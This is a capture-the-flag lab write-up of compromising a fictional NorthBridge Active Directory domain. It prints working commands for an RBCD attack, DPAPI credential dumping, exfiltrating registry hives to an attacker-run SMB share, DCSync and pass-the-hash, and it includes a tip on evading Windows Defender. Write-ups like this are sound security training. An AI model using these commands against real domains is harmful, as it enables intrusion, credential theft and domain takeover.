> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2025/northbridge-systems.md).

# NorthBridge Systems

{% embed url="<https://www.hacksmarter.org/courses/1e19584b-4577-402d-a264-d6476d2d1b9b>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective / Scope <a href="#user-content-objective--scope" id="user-content-objective--scope"></a>

NorthBridge Systems is a managed service provider that has engaged the Hack Smarter Red Team to perform a security assessment against a portion of their environment. The assessment is to be conducted from an assumed breach perspective, as you have been provided credentials for a dedicated service account created specifically for this engagement.

Your point of contact at NorthBridge Systems has authorized testing on the following hosts. Any host outside this scope is considered out of scope and should not be accessed.

* NORTHDC01 (Domain controller)
* NORTHJMP01 (Jump box user by the IT team)

The primary objective of the security assessment is to compromise the domain controller (NORTHDC01) in order to demonstrate the effectiveness (or lack thereof) of the recent security hardening activities.

To track your progress in the assessment, there are flags located at C:\Users\Administrator\Desktop on each host.

As you progress through the environment, make sure to document these flags so your point of contact knows you have compromised the environment.

Your success in this assessment will directly inform their future cybersecurity budget! No pressure!

**Starting Credentials**

```
_securitytestingsvc:4kCc$A@NZvNAdK@
```

## Summary

<details>

<summary>Summary</summary>

In NorthBridge we begin with assumed-breach credentials for a dedicated service account and gain access to the internal jump host. On `NORTHJMP01`, we uncover sensitive automation scripts revealing credentials of `_svrautomationsvc` and delegated permissions used for system provisioning. Through enumeration via BloodHound, we identify that the account possesses `WriteAccountRestrictions` over the jump host, enabling control of its delegation attributes. Leveraging this, we create a controlled machine account and perform a Resource-Based Constrained Delegation (RBCD) attack to impersonate a local administrator. Using the impersonated administrator, we add our original service account to the local Administrators group. From there, we extract DPAPI credentials for a backup operator account. Using backup privileges, we retrieve the SAM, SYSTEM and SECURITY hives on the DC, recover the NORTHDC01 machine account hash, and execute a DCSync attack to obtain Domain Admin credentials.

</details>

## Recon

### NORTHJMP01

#### Nmap

We use rustscan `-b 500 -a 10.1.109.80 -- -sC -sV -Pn` to enumerate all TCP ports on the `NORTHJMP01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

```
rustscan -b 500 -a 10.1.109.80 -- -sC -sV -Pn
```

<figure><img src="/files/YePD8MlcodETfo8rbZ5r" alt=""><figcaption></figcaption></figure>

With the results of our RustScan we identify a Windows host named `NORTHJMP01` on domain `northbridge.corp` exposing ports `135,445` RPC/SMB and and `3389` RDP.

<figure><img src="/files/8fK5YtNgkJjj29TteaQk" alt=""><figcaption></figcaption></figure>

#### SMB

Since we have credentials from the scenario, we will test whether we can authenticate via SMB using these credentials, for which we will use NetExec.

```
nxc smb 10.1.109.80 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@'
```

We can authenticate as `_securitytestingsvc`. Next, we try to enumerate the shares. The `Network Shares` share stands out.

```
nxc smb 10.1.109.80 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' --shares
```

<figure><img src="/files/mvTPY6VsI1f1S8oDy1TC" alt=""><figcaption></figcaption></figure>

Next, we  generate an `/etc/hosts` entry with the following command. This ensure consistent name resolution during enumeration and exploitation.

{% code overflow="wrap" %}

```
nxc smb 10.1.109.80 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' --generate-hosts-file jmphosts.txt
```

{% endcode %}

<figure><img src="/files/SGfrVaBF8aJDQLAp6JFD" alt=""><figcaption></figcaption></figure>

We add the following line to our `/etc/hosts` file.

```
10.1.109.80     NORTHJMP01.northbridge.corp NORTHJMP01
```

We can enumerate the share using the `spider_plus` module, however, I’ll leave its exploration of the share as an exercise for the reader.&#x20;

```
nxc smb NORTHJMP01 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' -M spider_plus
```

<figure><img src="/files/Fkp6kDTqG1nJVlWkadJU" alt=""><figcaption></figcaption></figure>

{% code title="10.1.109.80.json" overflow="wrap" lineNumbers="true" expandable="true" %}

```
{
    "Network Shares": {
        "Archive/backup.bat": {
            "atime_epoch": "2025-09-21 04:27:06",
            "ctime_epoch": "2025-09-21 04:26:46",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "461 B"
        },
        "Security/Get-DomainObjectDACL.ps1": {
            "atime_epoch": "2025-09-21 04:28:21",
            "ctime_epoch": "2025-09-21 04:27:58",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "1.11 KB"
        },
        "Security/PingCastle_3.4.1.38.zip": {
            "atime_epoch": "2025-09-21 04:29:51",
            "ctime_epoch": "2025-09-21 04:29:41",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "19.87 MB"
        },
        "Security/PingCastle_3.4.1.38/Active_Directory_Security_Self_Assessment_v1.4.pdf": {
            "atime_epoch": "2025-07-16 16:03:51",
            "ctime_epoch": "2025-07-16 16:03:51",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "2.67 MB"
        },
        "Security/PingCastle_3.4.1.38/PingCastle v3.0.0.pdf": {
            "atime_epoch": "2025-07-16 16:03:51",
            "ctime_epoch": "2025-07-16 16:03:51",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "1.62 MB"
        },
        "Security/PingCastle_3.4.1.38/PingCastle.exe": {
            "atime_epoch": "2025-07-16 16:03:25",
            "ctime_epoch": "2025-07-16 16:03:25",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "18.32 MB"
        },
        "Security/PingCastle_3.4.1.38/PingCastle.exe.config": {
            "atime_epoch": "2025-07-16 16:03:25",
            "ctime_epoch": "2025-07-16 16:03:25",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "7.71 KB"
        },
        "Security/PingCastle_3.4.1.38/PingCastleAutoUpdater.exe": {
            "atime_epoch": "2025-07-16 16:03:25",
            "ctime_epoch": "2025-07-16 16:03:25",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "464.77 KB"
        },
        "Security/PingCastle_3.4.1.38/PingCastleAutoUpdater.exe.config": {
            "atime_epoch": "2025-07-16 16:03:25",
            "ctime_epoch": "2025-07-16 16:03:25",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "134 B"
        },
        "Security/PingCastle_3.4.1.38/changelog.txt": {
            "atime_epoch": "2025-07-16 16:03:51",
            "ctime_epoch": "2025-07-16 16:03:51",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "36.92 KB"
        },
        "Security/PingCastle_3.4.1.38/license.rtf": {
            "atime_epoch": "2025-07-16 16:03:51",
            "ctime_epoch": "2025-07-16 16:03:51",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "12.16 KB"
        },
        "Security/sm/sam scratchpad.txt": {
            "atime_epoch": "2025-09-21 04:27:44",
            "ctime_epoch": "2025-09-21 04:27:38",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "1.26 KB"
        },
        "Service Desk/Onboarding Checklist.txt": {
            "atime_epoch": "2025-09-21 04:30:39",
            "ctime_epoch": "2025-09-21 04:30:32",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "1.29 KB"
        },
        "Service Desk/Password reset instructions.txt": {
            "atime_epoch": "2025-09-21 04:30:51",
            "ctime_epoch": "2025-09-21 04:30:32",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "852 B"
        },
        "Wintel Engineering/ADCS Review/EmilyTest2025.txt": {
            "atime_epoch": "2025-09-21 05:01:29",
            "ctime_epoch": "2025-09-21 04:32:14",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "3.81 KB"
        },
        "Wintel Engineering/ADCS Review/NorthDomainControllerAuth.txt": {
            "atime_epoch": "2025-09-21 04:32:54",
            "ctime_epoch": "2025-09-21 04:32:14",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "3.99 KB"
        },
        "Wintel Engineering/ADCS Review/NorthbridgeMachineAuth.txt": {
            "atime_epoch": "2025-09-21 04:32:42",
            "ctime_epoch": "2025-09-21 04:32:14",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "3.31 KB"
        },
        "Wintel Engineering/Microsoft.ActiveDirectory.Management.dll": {
            "atime_epoch": "2025-09-23 00:51:47",
            "ctime_epoch": "2025-09-23 00:51:47",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "1.08 MB"
        },
        "Wintel Engineering/Privileged accounts notes.txt": {
            "atime_epoch": "2025-09-21 04:31:23",
            "ctime_epoch": "2025-09-21 04:31:17",
            "mtime_epoch": "2025-09-23 00:57:06",
            "size": "769 B"
        }
    }
}#                             
```

{% endcode %}

### NORTHDC01

#### Nmap

We use rustscan `-b 500 -a 10.1.235.111 -- -sC -sV -Pn` to enumerate all TCP ports on the `NORTHDC01` machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

With the results of our RustScan we identify a Windows host named `NORTHDC01` ondomain `northbridge.corp`exposing DNS on `53`, Kerberos on `88`, Active Directory LDAP on `389` (AD), LDAPS/tcpwrapped on `636`, kpasswd5 on `464`, Microsoft RPC / MSRPC endpoints on `135`, NetBIOS/SMB on `139` and `445` (SMB2 message signing required). Furthermore we have RPC-over-HTTP on `5985` .NET message framing on `9389`, RDP on `3389` and several ephemeral MSRPC ports `49664, 49668, etc.`

```
rustscan -b 500 -a 10.1.235.111 -- -sC -sV -Pn
```

<figure><img src="/files/Q496g8jIsZ9RGFRvoDwD" alt=""><figcaption></figcaption></figure>

#### SMB

Here we will also test whether we can authenticate via SMB using these credentials, for which we will use NetExec.

```
nxc smb 10.1.235.111 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@'
```

We do not find any interesting shares on the DC.

```
nxc smb 10.1.235.111 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' --shares
```

<figure><img src="/files/zX9lTCYMketggicgP8Es" alt=""><figcaption></figcaption></figure>

We'll also generate an `/etc/hosts` entry with the following command. We do this to ensure consistent name resolution during enumeration and exploitation.

{% code overflow="wrap" %}

```
nxc smb 10.1.235.111 -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' --generate-hosts-file dchosts.txt
```

{% endcode %}

<figure><img src="/files/5rwFIgdiEaFBSRUy0s3R" alt=""><figcaption></figcaption></figure>

We add the following line to our `/etc/hosts` file.

```
10.1.235.111     NORTHDC01.northbridge.corp northbridge.corp NORTHDC01
```

#### Bloodhound

After having roughly enumerated SMB, we move on to Bloodhound. We use the credentials of `_securitytestingsvc` to enumerate the domain.

{% code overflow="wrap" %}

```
bloodhound-ce.py --zip -c All -d northbridge.corp -u _securitytestingsvc -p '4kCc$A@NZvNAdK@' -dc NORTHDC01.northbridge.corp -ns 10.1.235.111
```

{% endcode %}

<figure><img src="/files/oeymC95xGGT8duYIbChP" alt=""><figcaption></figcaption></figure>

The user provided is not in any special group with special permissions. It also appears that the user is not in the `REMOTE MANAGEMENT USERS` group.

<figure><img src="/files/QTNOjVymM3sTdwdgrxnl" alt=""><figcaption></figcaption></figure>

The Cypher query `shortest path from owned object`  (after marking our user as `owned`) also does not provide any information about a possible escalation path.

<figure><img src="/files/2j683bXRMjt0Ex770aPu" alt=""><figcaption></figcaption></figure>

We look for the Domain Admins and find two: `Administrator` and `ERHODEST0`.

<figure><img src="/files/xtMXB95P3nj2hhquba68" alt=""><figcaption></figcaption></figure>

#### LDAP

For LDAP enumeration we will use the tool ldapdomaindump.

{% code overflow="wrap" %}

```
ldapdomaindump --user "northbridge.corp"\\"_svrautomationsvc" --password 'REDACTED' --outdir ldapdomaindump "10.1.235.111"
```

{% endcode %}

<figure><img src="/files/aKMmYoxKhwZOWKhdwIg5" alt=""><figcaption></figcaption></figure>

There is one group that particiular stands out, the `NORTHJMP01PRIV` group used to grant local administrators access to `NORTHJMP01`. This might come in handy later.

<figure><img src="/files/W25kU4Kl9AN1cqjggwZI" alt=""><figcaption></figcaption></figure>

## Access as \_svrautomationsvc on NORTHJMP01

Despite not recognizing membership in the `REMOTE MANAGEMENT USERS` group from our Bloodhound output, we attempt to use the credentials to establish a session with the target via RDP and are able to connect.

In the root directory, the `Scripts` folder stands out, which would not normally be there. In this folder, we have an `AD Domain Backup` folder and a `Server Build Automation` folder.

<figure><img src="/files/PtPbuMhh9gLivo9uvyCa" alt=""><figcaption></figcaption></figure>

#### AD Domain Backup

In this directory, we have three files: a `Readme.txt`, a file named `Password`, and a Powershell script called `Invoke-NorthADBackup.ps1`.

<figure><img src="/files/P3JChyEeT0KYHk3qha0a" alt=""><figcaption></figcaption></figure>

The README explains that the AD backup script was updated to replace hardcoded credentials with a SecureString. It also documents how the secure password file is generated and referenced, and notes that any questions should be directed to Emily Rhodes.&#x20;

{% code title="Readme.txt" overflow="wrap" expandable="true" %}

```
This script is used to streamline the process of backing up the Northbridge Active Directory environment. I am currently working with Samantha in security to strengthen the backup workflow and reduce the risk of accidental credential exposure. The service account used in this process is a member of the Backup Operators group, so we need to take additional precautions to limit where and how its credentials are stored and accessed.

The script used to contain hardcoded credentials for the backup account, but it was flagged during our last internal security audit. As a stopgap measure, the script was updated to use PowerShell SecureString so that the password was not stored in plaintext. This same account is still used by an automated process via the task scheduler until we are in a good spot to transition to using our PAM solution or managed service accounts.

## Command used to generate secure string
"<password>" | ConvertTo-SecureString -AsPlainText -Force | ConvertFrom-SecureString | Out-File "C:\Scripts\AD Domain Backup\Password.txt"

## Part of script that references this secure string
$securePassword = Get-Content $passwordFile | ConvertTo-SecureString
$cred = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

Please reach out to Emily Rhodes if you have any questions.
```

{% endcode %}

The script loads a stored password, authenticates as the `northbridge_backupsvc` user, ensures the backup directory exists, and runs a system state backup using `wbadmin`.

{% code title="Invoke-NorthADBackup.ps1" overflow="wrap" lineNumbers="true" expandable="true" %}

```powershell
# Path to password file
$passwordFile = "C:\Scripts\AD Domain Backup\Password.txt"
$username = "northbridge\_backupsvc"
$backupLocation = "E:\ADBackups"

# Read and convert the password
$securePassword = Get-Content $passwordFile | ConvertTo-SecureString
$cred = New-Object System.Management.Automation.PSCredential ($username, $securePassword)

# Optional: Logon as that user
Start-Process powershell -Credential $cred -ArgumentList {
    # Create the backup folder if it doesn't exist
    if (!(Test-Path -Path $using:backupLocation)) {
        New-Item -Path $using:backupLocation -ItemType Directory
    }

    # Run the backup (AD system state)
    wbadmin start systemstatebackup -backupTarget:$using:backupLocation -quiet
} -Wait
```

{% endcode %}

#### Server Build Automation

In this directory, we have two files: again a `Readme.txt` and a Powershell script called `ServerBuildAutomation.ps1`.

<figure><img src="/files/S4lliKSzSnc2YcdwmAjf" alt=""><figcaption></figcaption></figure>

Inside the `Readme.txt` we find the credentials of `_svrautomationsvc.`

<figure><img src="/files/YJ9TRP6xlgAQsnLlxRa7" alt=""><figcaption></figcaption></figure>

The `Readme.txt` explains that the script automates server provisioning by creating and staging computer accounts, joining them to the domain, and configuring standard software, security settings, and a temporary local admin account. It requires an account with delegated permissions in the Servers OU, and servers must later be moved to their final OU; LAPS integration is planned for future versions. As an example the account `_svrautomationsvc` was used for that.

{% code title="Readme.txt" overflow="wrap" expandable="true" %}

```
This script is used to automate the process of creating computer accounts, joining them to the domain, configuring servers with standard software and security stack and a local administrator account. Previously, this was a manual and time-consuming task for the IT teams, but as part of Project Falcon, we are working to streamline and automate these repetitive server provisioning workflows.

The script assumes it is being executed by an account with delegated permissions to create computer objects within the Servers OU of the domain. If you are unsure how the staging process works or where to put servers that are being built, please contact Emily Rhodes.

Note: The script currently stages new computer objects into a specific sub-OU within the Servers OU but will need to be moved into their final OU once the server build-out is complete.

Example usage:
"C:\Scripts\Server Build Automation\ServerBuildAutomation.ps1" -DomainName northbridge.local -DomainJoinUser _svrautomationsvc -DomainJoinPassword REDACTED

This script will also create a new local administrator account during provisioning. We are working with Samantha to integrate LAPS, but for now, we have been granted a temporary exception to use a standard local administrator during the server build process.
```

{% endcode %}

{% code title="ServerBuildAutomation.ps1" overflow="wrap" lineNumbers="true" expandable="true" %}

```powershell
param (
    [Parameter(Position=0, Mandatory=$true)]
    [string]$DomainName,

    [Parameter(Position=1, Mandatory=$true)]
    [string]$DomainJoinUser,

    [Parameter(Position=2, Mandatory=$true)]
    [string]$DomainJoinPassword
)

# Define the full distinguished name of the provisioning OU
$OUPath = "OU=ServerProvisioning,OU=Servers,DC=northbridge,DC=corp"

# Secure the password
$SecurePassword = ConvertTo-SecureString $DomainJoinPassword -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential ($DomainJoinUser, $SecurePassword)

# Join the domain
Write-Host "Attempting to join $env:COMPUTERNAME to domain $DomainName..." -ForegroundColor Cyan
Add-Computer -DomainName $DomainName -Credential $Credential -OUPath $OUPath -Force -ErrorAction Stop
Write-Host "Successfully joined domain. A restart is recommended." -ForegroundColor Green

# OPTIONAL: Install basic tools (e.g., 7-Zip, Sysinternals, Notepad++)
Write-Host "Installing basic tools..." -ForegroundColor Cyan
$tools = @(
    @{Name = "7zip"; Url = "https://www.7-zip.org/a/7z1900-x64.exe"; Args = "/S"},
    @{Name = "Notepad++"; Url = "https://github.com/notepad-plus-plus/notepad-plus-plus/releases/download/v8.6.4/npp.8.6.4.Installer.x64.exe"; Args = "/S"},
    @{Name = "Sysinternals Suite"; Url = "https://download.sysinternals.com/files/SysinternalsSuite.zip"; Args = ""}
)

$TempDir = "$env:TEMP\NorthbridgeTools"
New-Item -ItemType Directory -Force -Path $TempDir | Out-Null

foreach ($tool in $tools) {
    $fileName = Split-Path $tool.Url -Leaf
    $filePath = Join-Path $TempDir $fileName
    Invoke-WebRequest -Uri $tool.Url -OutFile $filePath -UseBasicParsing

    if ($filePath -like "*.exe") {
        Start-Process -FilePath $filePath -ArgumentList $tool.Args -Wait
    } elseif ($filePath -like "*.zip") {
        Expand-Archive -Path $filePath -DestinationPath "C:\Tools\$($tool.Name)" -Force
    }
    Write-Host "$($tool.Name) installed." -ForegroundColor Yellow
}

# Create a local administrator account
$LocalUsername = "NorthbridgeAdmin"
$LocalPassword = ConvertTo-SecureString "Admin!123" -AsPlainText -Force

Write-Host "Creating local admin account: $LocalUsername" -ForegroundColor Cyan
New-LocalUser -Name $LocalUsername -Password $LocalPassword -FullName "Northbridge Admin" -Description "Local Admin for Northbridge Systems"
Add-LocalGroupMember -Group "Administrators" -Member $LocalUsername
Write-Host "Local admin account created and added to Administrators group." -ForegroundColor Green

# Prompt for reboot
Read-Host "Press ENTER to restart the system (or Ctrl+C to cancel)"
Restart-Computer
```

{% endcode %}

We test if we can authenticate with the credentials usin NetExec via SMB and are successful.

```
nxc smb NORTHJMP01 -u _svrautomationsvc -p 'REDACTED'
```

<figure><img src="/files/E3dlo5TjBS0v0cNQBKvN" alt=""><figcaption></figcaption></figure>

## Access as MLEET1 (local administrator) on NORTHJMP01

We take a closer look at our domain enumeration results in Bloodhound and examine the user `_svrautomationsvc`. This user has the outbound object control `WriteAccountRestrictions` to `NORTHJMP01`.

<figure><img src="/files/BC9iEIXLFyt6FJK2zJuH" alt=""><figcaption></figcaption></figure>

`WriteAccountRestrictions`  gives a principal permission to modify the User-Account-Restrictions property set of an AD object.&#x20;

Or in other words this permission lets us set the RBCD configuration on target objects by modifying the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, allowing us an RBCD attack.

{% embed url="<https://www.thehacker.recipes/ad/movement/dacl/#bloodhound-ace-edges>" %}

> `WriteAccountRestrictions`, which refers to the `User-Account-Restrictions` property set, which contains enough permissions to modify the `msDS-Allowed-To-Act-On-Behalf-Of-Other-Identity` attribute of the target objects, for [Kerberos RBCD](https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd) attacks

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-resource-based-constrained>" %}

Further resources:

{% embed url="<https://specterops.io/blog/2025/10/01/writeaccountrestrictions-war-what-is-it-good-for/>" %}

#### Create a **controlled computer account**

We try to create a a computer account under our control, but the machine account quota has been already exceeded.

{% code overflow="wrap" %}

```
bloodyAD --host NORTHDC01 -d northbridge.corp -u _svrautomationsvc -p 'REDACTED' add computer 'SRV-0xb0b$' 'Pwned123@1' 
```

{% endcode %}

<figure><img src="/files/j75Pat3eSYx5NTPBeebd" alt=""><figcaption></figcaption></figure>

If we take a closer look a the readme and powershell script found in `C:\Scripts\Server Build Automation`   the `_svrautomationsvc` seems to have delegated permission to create machine accounts in the `ServerProvisoning OU`:

{% code overflow="wrap" %}

```
Example usage:
"C:\Scripts\Server Build Automation\ServerBuildAutomation.ps1" -DomainName northbridge.local -DomainJoinUser _svrautomationsvc -DomainJoinPassword REDACTED
```

{% endcode %}

```powershell
# Define the full distinguished name of the provisioning OU
$OUPath = "OU=ServerProvisioning,OU=Servers,DC=northbridge,DC=corp"
```

So we adapt our bloodyAD command to create a compter object in that specific OU as `_svrautomationsvc` and are successful.

{% code overflow="wrap" %}

```
bloodyAD --host NORTHDC01 -d northbridge.corp -u _svrautomationsvc -p 'REDACTED' add computer --ou 'OU=ServerProvisioning,OU=Servers,DC=northbridge,DC=corp' 'SRV0XB0B' 'Pwned123@1'
```

{% endcode %}

<figure><img src="/files/pTdoxhCPCc0xanc6zUSe" alt=""><figcaption></figcaption></figure>

#### RBCD Attack

First, We modify the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute on NORTHJMP01$ to add `SRV0XB0B$` as a delegated principal.

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#practice>" %}

{% code overflow="wrap" %}

```
rbcd.py -delegate-from 'SRV0XB0B$' -delegate-to 'NORTHJMP01$' -dc-ip '10.1.235.111' -action 'write' 'northbridge.corp'/'_svrautomationsvc':'REDACTED'
```

{% endcode %}

<figure><img src="/files/96kGZxGBMEepQ2rFUZaE" alt=""><figcaption></figcaption></figure>

Next, we use `GetST.py` to obtain a service ticket for the `CIFS` service on `NORTHJMP01` while impersonating user `ERHODEST0` - a domain admin - through the delegated machine account `SRV0XB0B$`.

But that user is protected against Kerberos delegation...

{% code overflow="wrap" %}

```
getST.py -spn "cifs/NORTHJMP01.northbridge.corp" -impersonate erhodesT0 'northbridge.corp/SRV0XB0B$:Pwned123@1' -dc-ip 10.1.235.111
```

{% endcode %}

<figure><img src="/files/7bQgQ2Prsmb98CGPNTwb" alt=""><figcaption></figcaption></figure>

Recalling the LDAP and Bloodhound enumeration we have another set of privileged users we can make use of. The users part of the `NORTHJMP01` group, granting local administrators access to `NORTHJMP01`. See Recon.

<figure><img src="/files/bKInixUG18jHtdFGp3tq" alt=""><figcaption></figcaption></figure>

We try to impersonate MLEET1 and are successful.&#x20;

{% code overflow="wrap" %}

```
getST.py -spn "cifs/NORTHJMP01.northbridge.corp" -impersonate MLEET1 'northbridge.corp/SRV0XB0B$:Pwned123@1' -dc-ip 10.1.235.111
```

{% endcode %}

<figure><img src="/files/mGfEK3rzvwzpHHEzzDOH" alt=""><figcaption></figcaption></figure>

We use the resulting credential cache, and are able to authenticate.

```
export KRB5CCNAME=MLEET1@cifs_NORTHJMP01.northbridge.corp@NORTHBRIDGE.CORP.ccache
```

```
nxc smb NORTHJMP01 -u MLEET1 -k --use-kcache
```

<figure><img src="/files/cdxBKOpKlH2zer7nJZ1g" alt=""><figcaption></figcaption></figure>

## Shell as local administrator on NORTHJMP01

Unfortunately, we are unable to establish a session with MLEET1 using wmiexec2.py...

{% embed url="<https://github.com/ice-wzl/wmiexec2>" %}

```
python3 wmiexec2/wmiexec2.py  -k -no-pass NORTHJMP01 -debug 
```

<figure><img src="/files/ek7WbQSNbj314r28jHlX" alt=""><figcaption></figcaption></figure>

However, we can add a user for whom we already have credentials to the local administrator group. Using Netexec via SMB. It is possible that this will fail and be detected by Windows Defender. However, it seems that this can be circumvented by using `--no-output`.

{% code overflow="wrap" %}

```
nxc smb NORTHJMP01 -u MLEET1 -k --use-kcache -X "Add-LocalGroupMember -Group Administrators -Member _securitytestingsvc@northbridge.corp"
```

{% endcode %}

<figure><img src="/files/V6eEKBUkWIIdIMS2zndP" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
nxc smb NORTHJMP01 -u MLEET1 -k --use-kcache -X "Add-LocalGroupMember -Group Administrators -Member _securitytestingsvc@northbridge.corp" --no-output
```

{% endcode %}

<figure><img src="/files/H4cEBE6kajqYFRbsg1DZ" alt=""><figcaption></figcaption></figure>

So we try again to get a session using wmiexec2.py, this time as user `_securitytestingsvc`.

We are successful.

{% embed url="<https://github.com/ice-wzl/wmiexec2>" %}

{% code overflow="wrap" %}

```
python3 wmiexec2/wmiexec2.py  northbridge.corp/_securitytestingsvc:'4kCc$A@NZvNAdK@'@NORTHJMP01
```

{% endcode %}

<figure><img src="/files/Aa0uyP0itbixeqJvgteS" alt=""><figcaption></figcaption></figure>

And we see that we are now part of the local administrators and can find the first flag on `NORTHJMP01` at `C:\Users\Administrator\Desktop\user.txt`.

<figure><img src="/files/19e6RTWsm4IBRGK8IlmO" alt=""><figcaption></figcaption></figure>

## Access as \_backupsvc on NORTHDC01

From the initial enumeration, which we did not show in Recon, a backup service running by the user `_backupsvc` caught our attention.

```
schtasks /query /fo LIST /v
```

<figure><img src="/files/2eetQMk3k7TnXjUCSz27" alt=""><figcaption></figcaption></figure>

This user is part of BACKUP OPERATORS group. &#x20;

<figure><img src="/files/DwYnc4gASk6EDURfkF4Q" alt=""><figcaption></figcaption></figure>

Members of this group are able to access the SAM and SYSTEM hive, which holds valuable hashes, we might be able to access on the DC.

{% embed url="<https://www.bordergate.co.uk/backup-operator-privilege-escalation/>" %}

> Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files. Backup Operators also can log on to and shut down the computer. This group can’t be renamed, deleted, or removed. By default, this built-in group has no members, and it can perform backup and restore operations on domain controllers.

Now that we are part of the local administrator group, we can also try to dump DPAPI credentials using NetExec. And we are able to retrieve the credentials from `backup_svc`.

```
nxc smb NORTHJMP01 -u MLEET1 -k --use-kcache --dpapi 
```

<figure><img src="/files/v1Nw9W5MPHfW0pteTCQD" alt=""><figcaption></figcaption></figure>

We test if we can authenticate with the credentials using NetExec via SMB on `NORTHDC01` and are successful.

```
nxc smb NORTHDC01 -u _backupsvc -p 'REDACTED'
```

<figure><img src="/files/haVO7jvRKoBpDSVfUxvY" alt=""><figcaption></figcaption></figure>

## Shell as Administrator on NORTHDC01

To gather the SAM, SYSTEM, and SECURITY hives remotely, we follow this resource:

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/sam-and-lsa-secrets#exfiltration>" %}

We start an an SMB server.

```
smbserver.py -smb2support EXEGOL $(pwd) 
```

<figure><img src="/files/GgNdzGbKzeByGFH008gF" alt=""><figcaption></figcaption></figure>

Next, we use impackets `reg.py` to connect to the DC and backup the hives to our share.

{% hint style="info" %}
This may fail with a timeout; if necessary, this step must be repeated. All hives are required.
{% endhint %}

{% code overflow="wrap" %}

```
reg.py northbridge.corp/_backupsvc:'REDACTED'@NORTHDC01 backup -o '\\10.200.20.145\EXEGOL'
```

{% endcode %}

<figure><img src="/files/O73oJTZqrifwhxcReLQ4" alt=""><figcaption></figcaption></figure>

We extract local Windows user credentials offline by dumping and parsing the SAM, SYSTEM, and SECURITY hives using impackets `secretsdump.py`. We are able to retrieve the local administrator nt hash as well as the hash of `NORTHDC01$` machine.&#x20;

{% code overflow="wrap" %}

```
secretsdump.py -sam './SAM.save' -system './SYSTEM.save' -security './SECURITY.save' LOCAL
```

{% endcode %}

<figure><img src="/files/bagRZAmtepyC9FRhTQUd" alt=""><figcaption></figcaption></figure>

With the hash of the `NORTHDC01$` machine we are able to perform a DCSync attack.

<figure><img src="/files/XgJjK6A3RQ0ucep5oR8Y" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync#practice>" %}

We remotely try to pull the NTLM secrets of `ERHODEST0` from the Domain Controller using its machine account and provided hash.

{% code overflow="wrap" %}

```
secretsdump.py 'northbridge.corp/NORTHDC01$@NORTHDC01.northbridge.corp' -hashes :REDACTED -just-dc-user ERHODEST0
```

{% endcode %}

<figure><img src="/files/eU7GuT0R3T4fgaKY263F" alt=""><figcaption></figcaption></figure>

Next, we try to authenticate with the resulting hash, but the account is restriced. We are not allowed to authenticate using that hash.

```
nxc smb NORTHDC01 -u ERHODEST0 -H 'REDACTED'
```

<figure><img src="/files/vNIoOxEDq1FN9LLRXouC" alt=""><figcaption></figcaption></figure>

We give it another try with the Administrator account...

{% code overflow="wrap" %}

```
secretsdump.py 'northbridge.corp/NORTHDC01$@NORTHDC01.northbridge.corp' -hashes :REDACTED -just-dc-user Administrator
```

{% endcode %}

<figure><img src="/files/VpcpidVrLgSPIzYqRCOu" alt=""><figcaption></figcaption></figure>

We try to authenticate again with the hash as Administrator and are succesful.&#x20;

```
nxc smb NORTHDC01 -u Administrator -H 'REDACTED'
```

<figure><img src="/files/6es2rCcNJAqnThrrfr5s" alt=""><figcaption></figcaption></figure>

To get a session as the Administrator we use `wmiexec2.py.`

{% embed url="<https://github.com/ice-wzl/wmiexec2>" %}

{% code overflow="wrap" %}

```
python3 wmiexec2/wmiexec2.py northbridge.corp/Administrator:@NORTHDC01 -hashes :REDACTED
```

{% endcode %}

